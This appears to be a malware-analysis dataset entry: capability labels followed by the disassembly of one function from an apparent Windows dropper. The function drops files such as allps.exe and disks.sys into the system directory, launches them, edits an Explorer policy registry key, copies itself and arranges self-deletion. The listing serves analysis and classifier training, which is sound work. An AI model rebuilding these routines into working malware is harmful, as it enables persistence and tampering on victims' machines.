Function at 0x401924
Capabilities:
Copy file
Create process on windows
Create thread
Delete file
Get common file path
Self delete

Disassembly:
mov eax, 0x407744
call fcn.00407400
sub esp, 0x404
push ebx
push esi
push edi
lea eax, [ebp - 0x190]
push 0x104
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea eax, [ebp - 0x190]
lea ecx, [ebp - 0x1c]
push eax
call sub.MFC42.DLL_CString::CString_2
xor ebx, ebx
push str._allps.exe
lea ecx, [ebp - 0x1c]
mov dword [ebp - 4], ebx
call sub.MFC42.DLL_CString::operator
lea eax, [ebp - 0x190]
lea ecx, [ebp - 0x14]
push eax
call sub.MFC42.DLL_CString::CString_2
push str._newini.ini
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CString::operator
push dword [ebp - 0x1c]
mov esi, 0x40a284
push esi
push 0x66
push ebx
call fcn.004014dd
push 0x10
lea eax, [ebp - 0x48]
push ebx
push eax
call sub.MSVCRT.dll_memset
push 0x44
lea eax, [ebp - 0x8c]
pop edi
push edi
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0x28
lea eax, [ebp - 0x48]
mov dword [ebp - 0x8c], edi
push eax
lea eax, [ebp - 0x8c]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push dword [ebp - 0x1c]
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
je 0x401a38
push dword [ebp - 0x44]
mov edi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call edi
push dword [ebp - 0x48]
call edi
push 0x1f
xor eax, eax
pop ecx
lea edi, [ebp - 0x20f]
mov byte [ebp - 0x210], bl
push dword [ebp - 0x40]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x210]
push 0x40a280
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea eax, [ebp - 0x210]
push dword [ebp - 0x14]
push eax
push 0x40a27c
push str.deletefile
call dword [sym.imp.KERNEL32.DLL_WritePrivateProfileStringA]
lea eax, [ebp - 0x190]
lea ecx, [ebp - 0x24]
push eax
call sub.MFC42.DLL_CString::CString_2
mov edi, str._regfile.dat
lea ecx, [ebp - 0x24]
push edi
mov byte [ebp - 4], 2
call sub.MFC42.DLL_CString::operator
push dword [ebp - 0x24]
push esi
push 0x6d
push ebx
call fcn.004014dd
add esp, 0x10
lea ecx, [ebp - 0x38]
push str.HKUSER
call sub.MFC42.DLL_CString::CString_2
push str.SoftwareMicrosoftWindowsCurrentversionPoliciesExplorer
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 3
call sub.MFC42.DLL_CString::CString_2
lea eax, [ebp - 0x190]
lea ecx, [ebp - 0x10]
push eax
mov byte [ebp - 4], 4
call sub.MFC42.DLL_CString::CString_2
push edi
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 5
call sub.MFC42.DLL_CString::operator
lea eax, [ebp - 0x10]
push 1
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.00401699
mov esi, dword [sym.imp.KERNEL32.DLL_Sleep]
add esp, 0x10
push 0xc8
call esi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
lea eax, [ebp - 0x190]
lea ecx, [ebp - 0x18]
push eax
call sub.MFC42.DLL_CString::CString_2
push str._allmax.dll
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 6
call sub.MFC42.DLL_CString::operator
lea eax, [ebp - 0x190]
lea ecx, [ebp - 0x28]
push eax
call sub.MFC42.DLL_CString::CString_2
push str.disks.sys
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 7
call sub.MFC42.DLL_CString::operator
push 0x3f
xor eax, eax
pop ecx
lea edi, [ebp - 0x40f]
mov byte [ebp - 0x410], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call sub.MFC42.DLL_AfxGetModuleState
mov eax, dword [eax + 8]
lea ecx, [ebp - 0x410]
push 0x100
push ecx
push eax
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push dword [ebp - 0x14]
push str.is_ok
push str.name
push str.deletefile
call dword [sym.imp.KERNEL32.DLL_WritePrivateProfileStringA]
push dword [ebp - 0x18]
push 0x40a1f0
push 0x65
push ebx
call fcn.004014dd
add esp, 0x10
lea ecx, [ebp - 0x34]
push str.__s__c
call sub.MFC42.DLL_CString::CString_2
lea eax, [ebp - 0x18]
lea ecx, [ebp - 0x34]
push eax
mov byte [ebp - 4], 8
call sub.MFC42.DLL_CString::operator_1
lea eax, [ebp - 0x190]
lea ecx, [ebp - 0x20]
push eax
call sub.MFC42.DLL_CString::CString_2
push 0x40a1d8
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 9
call sub.MFC42.DLL_CString::operator
push 0x3f
xor eax, eax
pop ecx
lea edi, [ebp - 0x30f]
mov byte [ebp - 0x310], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call sub.MFC42.DLL_AfxGetModuleState
mov eax, dword [eax + 4]
lea ecx, [ebp - 0x310]
push 0x100
push ecx
push dword [eax + 0x6c]
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push ebx
lea eax, [ebp - 0x310]
push dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
push 0x3e8
call esi
lea eax, [ebp - 0x190]
lea ecx, [ebp - 0x2c]
push eax
call sub.MFC42.DLL_CString::CString_2
push 0x40a1c0
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0xa
call sub.MFC42.DLL_CString::operator
push ebx
push ebx
push ebx
lea ecx, [ebp - 0x20]
call sub.MFC42.DLL_CString::GetBuffer
push eax
push 0x4018c2
push ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateThread]
cmp eax, 0xffffffff
je 0x401c3b
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 9
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 8
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 7
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 6
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 5
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 4
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 3
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret